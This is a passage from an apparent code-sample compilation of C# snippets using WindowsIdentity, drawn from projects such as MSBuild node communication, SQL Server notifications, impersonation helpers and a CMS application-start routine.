                        MessageBox.Show(String.Format("Could not deploy requested component : {0}", e), "Error Deploying");
                    }
                }
                else
                {
                    ConfigurationApplicationContext.s_configurationPanels.Sort((a, b) => a.Name.CompareTo(b.Name));
                    ConfigurationApplicationContext.ConfigurationApplied += new EventHandler(ConfigurationApplicationContext_ConfigurationApplied);


                    // Configuration File exists?
                    if (!File.Exists(ConfigurationApplicationContext.s_configFile))
                    {
                        frmStartScreen start = new frmStartScreen();
                        if (start.ShowDialog() == DialogResult.Cancel)
                        {
                            return;
                        }
                    }

                    Application.Run(new frmMain());
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
            }
            finally
            {
                splash.Dispose();
            }
        }
        // -----------
        // Constructor
        // -----------

        internal SqlConnectionContainer(SqlConnectionContainerHashHelper hashHelper, string appDomainKey, bool useDefaults) {
            IntPtr hscp;
            Bid.NotificationsScopeEnter(out hscp, "<sc.SqlConnectionContainer|DEP> %d#, queue: '%ls'", ObjectID, hashHelper.Queue);

            bool setupCompleted = false;

            try {
                _hashHelper = hashHelper;
                string guid = null;

                // If default, queue name is not present on hashHelper at this point - so we need to 
                // generate one and complete initialization.
                if (useDefaults) {
                    guid = Guid.NewGuid().ToString();
                    _queue = SQL.SqlNotificationServiceDefault+"-"+guid;
                    _hashHelper.ConnectionStringBuilder.ApplicationName = _queue; // Used by cleanup sproc.
                }
                else {
                    _queue = _hashHelper.Queue;
                }

#if DEBUG
                SqlConnectionString connectionStringOptions = new SqlConnectionString(_hashHelper.ConnectionStringBuilder.ConnectionString);
                Bid.NotificationsTrace("<sc.SqlConnectionContainer|DEP> Modified connection string: '%ls'\n", connectionStringOptions.UsersConnectionStringForTrace());
#endif

                // Always use ConnectionStringBuilder since in default case it is different from the 
                // connection string used in the hashHelper.
                _con = new SqlConnection(_hashHelper.ConnectionStringBuilder.ConnectionString); // Create connection and open.

                // Assert permission for this particular connection string since it differs from the user passed string
                // which we have already demanded upon.  
                SqlConnectionString connStringObj = (SqlConnectionString) _con.ConnectionOptions;
                connStringObj.CreatePermissionSet().Assert();
                if (connStringObj.LocalDBInstance != null ) {                                
                    // If it is LocalDB, we demanded LocalDB permissions too
                    LocalDBAPI.AssertLocalDBPermissions();
                }
                _con.Open();

                _cachedServer = _con.DataSource; // SQL BU DT 390531.

                if (!_con.IsYukonOrNewer) { // After open, verify Yukon or later.
                    throw SQL.NotificationsRequireYukon();
                }

                if (hashHelper.Identity != null) {  
                    // For now, DbConnectionPoolIdentity does not cache WindowsIdentity.
                    // That means for every container creation, we create a WindowsIdentity twice.
                    // We may want to improve this.
                    _windowsIdentity = DbConnectionPoolIdentity.GetCurrentWindowsIdentity();
                }

                _escapedQueueName      = SqlConnection.FixupDatabaseTransactionName(_queue); // Properly escape to prevent SQL Injection.
                _appDomainKeyHash      = new Dictionary<string, int>(); // Dictionary stores the Start/Stop refcount per AppDomain for this container.
                _com                   = new SqlCommand();
                _com.Connection        = _con;

                // SQL BU DT 391534 - determine if broker is enabled on current database.
                _com.CommandText = "select is_broker_enabled from sys.databases where database_id=db_id()";

                if (!(bool) _com.ExecuteScalar()) {
                    throw SQL.SqlDependencyDatabaseBrokerDisabled();
                }

                _conversationGuidParam = new SqlParameter("@p1", SqlDbType.UniqueIdentifier);
                _timeoutParam          = new SqlParameter("@p2", SqlDbType.Int);
                _timeoutParam.Value    = 0; // Timeout set to 0 for initial [....] query.
                _com.Parameters.Add(_timeoutParam);

                setupCompleted = true;
                // connection with the server has been setup - from this point use TearDownAndDispose() in case of error

                // Create standard query.
                _receiveQuery = "WAITFOR(RECEIVE TOP (1) message_type_name, conversation_handle, cast(message_body AS XML) as message_body from " + _escapedQueueName + "), TIMEOUT @p2;";

                // Create queue, service, [....] query, and async query on user thread to ensure proper
                // init prior to return.  

                if (useDefaults) { // Only create if user did not specify service & database.
                    _sprocName = SqlConnection.FixupDatabaseTransactionName(SQL.SqlNotificationStoredProcedureDefault+"-"+guid);
                    CreateQueueAndService(false); // Fail if we cannot create service, queue, etc.
                }
                else {
                    // Continue query setup.
                    _com.CommandText      = _receiveQuery;
                    _endConversationQuery = "END CONVERSATION @p1; ";
                    _concatQuery          = _endConversationQuery + _receiveQuery;
                }

                bool ignored = false;
                IncrementStartCount(appDomainKey, out ignored);
                // Query synchronously once to ensure everything is working correctly.
                // We want the exception to occur on start to immediately inform caller.
                SynchronouslyQueryServiceBrokerQueue();
                _timeoutParam.Value = _defaultWaitforTimeout; // [....] successful, extend timeout to 60 seconds.
                AsynchronouslyQueryServiceBrokerQueue();
            }
            catch (Exception e) {
                if (!ADP.IsCatchableExceptionType(e)) {
                    throw;
                }

                ADP.TraceExceptionWithoutRethrow(e); // Discard failure, but trace for now.
                if (setupCompleted) {
                    // Be sure to drop service & queue.  This may fail if create service & queue failed.
                    // This method will not drop unless we created or service & queue ref-count is 0.
                    TearDownAndDispose();
                }
                else {
                    // connection has not been fully setup yet - cannot use TearDownAndDispose();
                    // we have to dispose the command and the connection to avoid connection leaks (until GC collects them).
                    if (_com != null) {
                        _com.Dispose();
                        _com = null;
                    }
                    if (_con != null) {
                        _con.Dispose();
                        _con = null;
                    }

                }
                throw;
            }
            finally {
                Bid.ScopeLeave(ref hscp);
            }
        }
Пример #47
0
        public void PreviewInQuickLook()
        {
            Task.Run(() =>
            {
                try
                {
                    using (var client = new NamedPipeClientStream(".", "QuickLook.App.Pipe." + WindowsIdentity.GetCurrent().User?.Value, PipeDirection.Out))
                    {
                        client.Connect(1000);

                        using (var writer = new StreamWriter(client))
                        {
                            writer.WriteLine($"{"QuickLook.App.PipeMessages.Toggle"}|{FullPathAndFileName}");
                            writer.Flush();
                        }
                    }
                }
                catch (TimeoutException)
                {
                    ToolbarLogger.GetLogger("EverythingToolbar").Info("Opening QuickLook preview timed out. Is QuickLook running?");
                }
                catch (Exception e)
                {
                    ToolbarLogger.GetLogger("EverythingToolbar").Error(e, "Failed to open preview.");
                }
            });
        }
Пример #48
0
        /// <summary>
        /// This method handles the asynchronous message pump.  It waits for messages to show up on the queue
        /// and calls FireDataAvailable for each such packet.  It will terminate when the terminate event is
        /// set.
        /// </summary>
        private void PacketPumpProc()
        {
            NamedPipeServerStream localPipeServer = _pipeServer;
            PipeStream            localWritePipe  = _pipeServer;
            PipeStream            localReadPipe   = _pipeServer;

            AutoResetEvent localPacketAvailable            = _packetAvailable;
            AutoResetEvent localTerminatePacketPump        = _terminatePacketPump;
            ConcurrentQueue <INodePacket> localPacketQueue = _packetQueue;

            DateTime originalWaitStartTime = DateTime.UtcNow;
            bool     gotValidConnection    = false;

            while (!gotValidConnection)
            {
                DateTime restartWaitTime = DateTime.UtcNow;

                // We only wait to wait the difference between now and the last original start time, in case we have multiple hosts attempting
                // to attach.  This prevents each attempt from resetting the timer.
                TimeSpan usedWaitTime      = restartWaitTime - originalWaitStartTime;
                int      waitTimeRemaining = Math.Max(0, CommunicationsUtilities.NodeConnectionTimeout - (int)usedWaitTime.TotalMilliseconds);

                try
                {
                    // Wait for a connection
#if FEATURE_APM
                    IAsyncResult resultForConnection = localPipeServer.BeginWaitForConnection(null, null);
#else
                    Task connectionTask = localPipeServer.WaitForConnectionAsync();
#endif
                    CommunicationsUtilities.Trace("Waiting for connection {0} ms...", waitTimeRemaining);

#if FEATURE_APM
                    bool connected = resultForConnection.AsyncWaitHandle.WaitOne(waitTimeRemaining, false);
#else
                    bool connected = connectionTask.Wait(waitTimeRemaining);
#endif
                    if (!connected)
                    {
                        CommunicationsUtilities.Trace("Connection timed out waiting a host to contact us.  Exiting comm thread.");
                        ChangeLinkStatus(LinkStatus.ConnectionFailed);
                        return;
                    }

                    CommunicationsUtilities.Trace("Parent started connecting. Reading handshake from parent");
#if FEATURE_APM
                    localPipeServer.EndWaitForConnection(resultForConnection);
#endif

                    // The handshake protocol is a simple long exchange.  The host sends us a long, and we
                    // respond with another long.  Once the handshake is complete, both sides can be assured the
                    // other is ready to accept data.
                    // To avoid mixing client and server builds, the long is the MSBuild binary timestamp.

                    // Compatibility issue here.
                    // Previous builds of MSBuild 4.0 would exchange just a byte.
                    // Host would send either 0x5F or 0x60 depending on whether it was the toolset or not respectively.
                    // Client would return either 0xF5 or 0x06 respectively.
                    // Therefore an old host on a machine with new clients running will hang,
                    // sending a byte and waiting for a byte until it eventually times out;
                    // because the new client will want 7 more bytes before it returns anything.
                    // The other way around is not a problem, because the old client would immediately return the (wrong)
                    // byte on receiving the first byte of the long sent by the new host, and the new host would disconnect.
                    // To avoid the hang, special case here:
                    // Make sure our handshakes always start with 00.
                    // If we received ONLY one byte AND it's 0x5F or 0x60, return 0xFF (it doesn't matter what as long as
                    // it will cause the host to reject us; new hosts expect 00 and old hosts expect F5 or 06).
                    try
                    {
                        long handshake = localReadPipe.ReadLongForHandshake(/* reject these leads */ new byte[] { 0x5F, 0x60 }, 0xFF /* this will disconnect the host; it expects leading 00 or F5 or 06 */
#if NETCOREAPP2_1
                                                                            , ClientConnectTimeout                                   /* wait a long time for the handshake from this side */
#endif
                                                                            );

#if FEATURE_SECURITY_PERMISSIONS
                        WindowsIdentity currentIdentity = WindowsIdentity.GetCurrent();
#endif

                        if (handshake != GetHostHandshake())
                        {
                            CommunicationsUtilities.Trace("Handshake failed. Received {0} from host not {1}. Probably the host is a different MSBuild build.", handshake, GetHostHandshake());
                            localPipeServer.Disconnect();
                            continue;
                        }

#if FEATURE_SECURITY_PERMISSIONS
                        // We will only talk to a host that was started by the same user as us.  Even though the pipe access is set to only allow this user, we want to ensure they
                        // haven't attempted to change those permissions out from under us.  This ensures that the only way they can truly gain access is to be impersonating the
                        // user we were started by.
                        WindowsIdentity clientIdentity = null;
                        localPipeServer.RunAsClient(delegate() { clientIdentity = WindowsIdentity.GetCurrent(true); });

                        if (clientIdentity == null || !String.Equals(clientIdentity.Name, currentIdentity.Name, StringComparison.OrdinalIgnoreCase))
                        {
                            CommunicationsUtilities.Trace("Handshake failed. Host user is {0} but we were created by {1}.", (clientIdentity == null) ? "<unknown>" : clientIdentity.Name, currentIdentity.Name);
                            localPipeServer.Disconnect();
                            continue;
                        }
#endif
                    }
                    catch (IOException e)
                    {
                        // We will get here when:
                        // 1. The host (OOP main node) connects to us, it immediately checks for user privileges
                        //    and if they don't match it disconnects immediately leaving us still trying to read the blank handshake
                        // 2. The host is too old sending us bits we automatically reject in the handshake
                        CommunicationsUtilities.Trace("Client connection failed but we will wait for another connection. Exception: {0}", e.Message);
                        if (localPipeServer.IsConnected)
                        {
                            localPipeServer.Disconnect();
                        }

                        continue;
                    }

                    gotValidConnection = true;

                    CommunicationsUtilities.Trace("Writing handshake to parent");
                    localWritePipe.WriteLongForHandshake(GetClientHandshake());
                    ChangeLinkStatus(LinkStatus.Active);
                }
                catch (Exception e)
                {
                    if (ExceptionHandling.IsCriticalException(e))
                    {
                        throw;
                    }

                    CommunicationsUtilities.Trace("Client connection failed.  Exiting comm thread. {0}", e);
                    if (localPipeServer.IsConnected)
                    {
                        localPipeServer.Disconnect();
                    }

                    ExceptionHandling.DumpExceptionToFile(e);
                    ChangeLinkStatus(LinkStatus.Failed);
                    return;
                }
            }

            RunReadLoop(
                new BufferedReadStream(localReadPipe),
                localWritePipe,
                localPacketQueue, localPacketAvailable, localTerminatePacketPump);

            CommunicationsUtilities.Trace("Ending read loop");

            try
            {
                if (localPipeServer.IsConnected)
                {
                    localPipeServer.WaitForPipeDrain();
                    localPipeServer.Disconnect();
                }
            }
            catch (Exception)
            {
                // We don't really care if Disconnect somehow fails, but it gives us a chance to do the right thing.
            }
        }
Пример #49
0
        /// <summary>
        /// Does the actual impersonation.
        /// </summary>
        /// <param name="userName">The name of the user to act as.</param>
        /// <param name="domainName">The domain name of the user to act as.</param>
        /// <param name="password">The password of the user to act as.</param>
        private void ImpersonateValidUser(
            string userName,
            string domain,
            string password)
        {
            WindowsIdentity tempWindowsIdentity = null;
            IntPtr          token          = IntPtr.Zero;
            IntPtr          tokenDuplicate = IntPtr.Zero;

            try
            {
                if (RevertToSelf())
                {
                    if (LogonUser(
                            userName,
                            domain,
                            password,
                            LOGON32_LOGON_SERVICE,
                            //LOGON32_LOGON_INTERACTIVE,
                            1,
                            ref token) != 0)
                    {
                        //tempWindowsIdentity = new WindowsIdentity(token);
                        //    impersonationContext = tempWindowsIdentity.Impersonate();
                        if (DuplicateToken(token, 2, ref tokenDuplicate) != 0)
                        {
                            //tempWindowsIdentity = new WindowsIdentity(tokenDuplicate);
                            tempWindowsIdentity  = new WindowsIdentity(tokenDuplicate, "WindowsAuthentication", WindowsAccountType.System);
                            impersonationContext = tempWindowsIdentity.Impersonate();

                            byte[] NtAuthority = new byte[6];
                            IntPtr AdministratorsGroup;

                            NtAuthority[5] = 5; // SECURITY_NT_AUTHORITY


                            int ret = AllocateAndInitializeSid(NtAuthority, 2, SECURITY_LOCAL_SYSTEM_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, out AdministratorsGroup);
                            if (ret != 0)
                            {
                                if (CheckTokenMembership(tokenDuplicate, AdministratorsGroup, ref ret) == 0)
                                {
                                    ret = 0;
                                }
                            }
                            Console.WriteLine("ret==" + ret);
                        }
                        else
                        {
                            throw new Win32Exception(Marshal.GetLastWin32Error());
                        }
                    }
                    else
                    {
                        throw new Win32Exception(Marshal.GetLastWin32Error());
                    }
                }
                else
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
            }
            finally
            {
                if (token != IntPtr.Zero)
                {
                    CloseHandle(token);
                }
                if (tokenDuplicate != IntPtr.Zero)
                {
                    CloseHandle(tokenDuplicate);
                }
            }
        }
        public SharePointHighTrustContext(Uri spHostUrl, Uri spAppWebUrl, string spLanguage, string spClientTag, string spProductNumber, WindowsIdentity logonUserIdentity)
            : base(spHostUrl, spAppWebUrl, spLanguage, spClientTag, spProductNumber)
        {
            if (logonUserIdentity == null)
            {
                throw new ArgumentNullException("logonUserIdentity");
            }

            this.logonUserIdentity = logonUserIdentity;
        }
Пример #51
0
    /// <summary>
    /// Performs the application initialization on the first request.
    /// </summary>
    private static void FirstRequestInitialization(object sender, EventArgs e)
    {
        // PreInitialize the application
        if (!mApplicationPreInitialized)
        {
            lock (mLock)
            {
                if (!mApplicationPreInitialized)
                {
                    // Remember date and time of the application start
                    mApplicationStart = DateTime.Now;

                    // Init run from web application - DON'T MOVE LATER
                    SystemHelper.IsWebSite = true;

                    mWindowsIdentity = WindowsIdentity.GetCurrent();

                    // PreInitialize the environment
                    CMSFunctions.PreInit();

                    mApplicationPreInitialized = true;
                }
            }
        }

        // Initialized properly
        bool? initialized = mApplicationInitialized.Value;
        if (initialized == true)
        {
            return;
        }

        // Not initialized, must install
        if ((initialized == false) && InstallerFunctions.InstallRedirect(true))
        {
            return;
        }

        // Do not init application on request to just physical file
        string relativePath = URLHelper.CurrentRelativePath;
        ExcludedSystemEnum excludedEnum = URLHelper.IsExcludedSystemEnum(relativePath, true);

        if ((excludedEnum == ExcludedSystemEnum.PhysicalFile) ||
            (excludedEnum == ExcludedSystemEnum.GetResource) ||
            (excludedEnum == ExcludedSystemEnum.AppThemes))
        {
            return;
        }

        // Initialize application in a locked context
        lock (mLock)
        {
            if (ApplicationInitialized)
            {
                return;
            }

            ViewModeOnDemand viewMode = new ViewModeOnDemand();

            // Log application start
            if (CMSFunctions.AnyDebugEnabled)
            {
                RequestSettings settings = RequestSettings.Current;
                bool liveSite = (viewMode.Value == ViewModeEnum.LiveSite);

                settings.DebugRequest = RequestHelper.DebugRequests && liveSite;
                RequestHelper.LogRequestOperation("BeforeApplicationStart", null, 0);

                settings.DebugSQLQueries = SqlHelperClass.DebugQueries && liveSite;
                settings.DebugFiles = File.DebugFiles && liveSite;
                settings.DebugCache = CacheHelper.DebugCache && liveSite;
                settings.DebugSecurity = SecurityHelper.DebugSecurity && liveSite;
                settings.DebugOutput = OutputHelper.DebugOutput && liveSite;
                settings.DebugMacros = MacroResolver.DebugMacros && liveSite;
                settings.DebugWebFarm = WebSyncHelperClass.DebugWebFarm && liveSite;
                settings.DebugAnalytics = AnalyticsHelper.DebugAnalytics && liveSite;

                DebugHelper.SetContext("App_Start");
            }

            // Initialize MacroResolver with child of GlobalResolver
            MacroResolver.OnGetInstance += new MacroResolver.GetInstanceEventHandler(MacroResolver_OnGetInstance);

            // Handle the event
            using (var h = CMSApplicationEvents.Start.StartEvent(e))
            {
                if (h.Continue)
                {
                    // Initialize the storage methods
                    CMSFunctions.InitStorage();

                    if (SqlHelperClass.IsConnectionStringInitialized)
                    {
                        using (CMSConnectionScope scope = new CMSConnectionScope())
                        {
                            // Use single open connection for the application start
                            GeneralConnection conn = (GeneralConnection)scope.Connection;
                            bool closeConnection = false;
                            try
                            {
                                // Open the connection
                                conn.Open();
                                closeConnection = true;

                                TableManager tm = new TableManager(null);

                                // Check for the table existence
                                if (!tm.TableExists("CMS_SettingsKey"))
                                {
                                    ApplicationInitialized = false;

                                    if (InstallerFunctions.InstallRedirect(true))
                                    {
                                        return;
                                    }
                                }

                                // Check the version
                                string version = SettingsKeyProvider.GetStringValue("CMSDBVersion");
                                if (!CMSContext.IsCorrectDatabaseVersion)
                                {
                                    // Report error about not being able to connect
                                    ConnectionErrorMessage = "The database version '" + version + "' does not match the project version '" + CMSContext.SYSTEM_VERSION + "', please check your connection string.";
                                    HttpContext.Current.Server.Transfer("~/CMSMessages/error.aspx");
                                }
                                else
                                {
                                    // Initialize the environment
                                    CMSFunctions.Init();

                                    // Update the system !! IMPORTANT - must be first
                                    UpgradeProcedure.Update(conn);
                                    try
                                    {
                                        // Write "Application start" event to the event log
                                        EventLogProvider ev = new EventLogProvider();

                                        ev.DeleteOlderLogs = false;
                                        ev.LogEvent(EventLogProvider.EVENT_TYPE_INFORMATION, DateTime.Now, "Application_Start", "STARTAPP", 0, null, 0, null, null, null, 0, HTTPHelper.GetAbsoluteUri());
                                    }
                                    catch
                                    {
                                        // can't write to log, do not process any code
                                    }
                                    UserInfoProvider.OnFormattedUserName += new UserInfoProvider.FormattedUserNameEventHandler(Functions.GetFormattedUserName);

                                    // Initialize the web farm
                                    CMSFunctions.InitWebFarm();

                                    // Handle admin emergency reset
                                    string adminReset = ValidationHelper.GetString(SettingsHelper.AppSettings["CMSAdminEmergencyReset"], null);
                                    if (!string.IsNullOrEmpty(adminReset))
                                    {
                                        string[] resetParams = adminReset.Split(';');
                                        if ((resetParams.Length >= 1) && (resetParams.Length <= 3))
                                        {
                                            // Check if create user if she doesn't exist
                                            bool forceCreate = (resetParams.Length == 3) ? ValidationHelper.GetBoolean(resetParams[2], false) : false;
                                            string userName = resetParams[0];
                                            UserInfo ui = UserInfoProvider.GetUserInfo(userName);

                                            // Create new user
                                            if ((ui == null) && forceCreate)
                                            {
                                                if (UserInfoProvider.LicenseVersionCheck(URLHelper.GetCurrentDomain(), FeatureEnum.GlobalAdmininistrators, VersionActionEnum.Insert, false))
                                                {
                                                    if (ValidationHelper.IsUserName(userName))
                                                    {
                                                        ui = new UserInfo();
                                                        ui.UserName = resetParams[0];
                                                        ui.UserIsGlobalAdministrator = true;
                                                        ui.UserEnabled = true;

                                                        string error = null;
                                                        UserInfoProvider.CheckLicenseLimitation(ui, ref error);
                                                        if (!string.IsNullOrEmpty(error))
                                                        {
                                                            throw new Exception(string.Format("[FirstRequestInitialization.AdminEmergencyReset: {0}]", error));
                                                        }
                                                    }
                                                    else
                                                    {
                                                        throw new Exception("[FirstRequestInitialization.AdminEmergencyReset: Specified username for newly created user is not valid.]");
                                                    }
                                                }
                                            }

                                            // Unlock account and set new specified password
                                            if (ui != null)
                                            {
                                                UserInfoProvider.SetPassword(ui, (resetParams.Length > 1) ? resetParams[1] : "", false);
                                                AuthenticationHelper.UnlockUserAccount(ui);
                                            }

                                            // Remove key from web.config
                                            SettingsHelper.RemoveConfigValue("CMSAdminEmergencyReset");
                                            URLHelper.Redirect(URLHelper.CurrentURL);
                                        }
                                    }

                                    // Wait until initialization is complete
                                    CMSFunctions.WaitForInitialization();
                                }
                            }
                            catch (Exception ex)
                            {
                                if (closeConnection)
                                {
                                    // Server connected successfully but something else went wrong
                                    throw ex;
                                }
                                else
                                {
                                    // Report error about not being able to connect
                                    ConnectionErrorMessage = ex.Message;

                                    HttpContext.Current.Server.Transfer("~/CMSMessages/error.aspx");
                                }
                            }
                            finally
                            {
                                if (closeConnection)
                                {
                                    // Close the connection
                                    conn.Close();
                                }
                            }
                        }

                        DBSeparationCheck();
                    }
                    else
                    {
                        // Register virtual path provider
                        if (ValidationHelper.GetBoolean(SettingsHelper.AppSettings["CMSUseVirtualPathProvider"], true))
                        {
                            VirtualPathHelper.RegisterVirtualPathProvider();
                        }
                    }

                    // Register the CMS view engine
                    CMSWebFormViewEngine.RegisterViewEngine();
                }

                // Finalize the event
                h.FinishEvent();
            }

            DebugHelper.ReleaseContext();

            // Log when the overall application start finished its execution
            mApplicationStartFinished = DateTime.Now;
            ApplicationInitialized = true;

            RequestHelper.LogRequestOperation("AfterApplicationStart", null, 0);
        }
    }
Пример #52
-1
 public void fnSecureCopy(string Source, string Destination, ImpersonationCred impersonationCred)
 {
     IntPtr token = IntPtr.Zero;
     IntPtr tokenDuplicate = IntPtr.Zero;
     if (RevertToSelf())
     {
         if (LogonUser(impersonationCred.username, impersonationCred.domain, impersonationCred.password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, ref token))
         {
             if (DuplicateToken(token, LOGON32_LOGON_INTERACTIVE, ref tokenDuplicate))
             {
                 WindowsIdentity identity = new WindowsIdentity(tokenDuplicate);
                 WindowsImpersonationContext context = identity.Impersonate();
                 if ((context != null))
                 {
                     CloseHandle(token);
                     CloseHandle(tokenDuplicate);
                     if (!Directory.Exists(Path.GetDirectoryName(Destination)))
                         Directory.CreateDirectory(Path.GetDirectoryName(Destination));
                     if (File.Exists(Destination))
                         File.Delete(Destination);
                     File.Copy(Source, Destination, true);
                     context.Undo();
                 }
             }
         }
     }
 }
	// Constructor.
	public WindowsPrincipal(WindowsIdentity ntIdentity)
			{
				if(ntIdentity == null)
				{
					throw new ArgumentNullException("ntIdentity");
				}
				identity = ntIdentity;
			}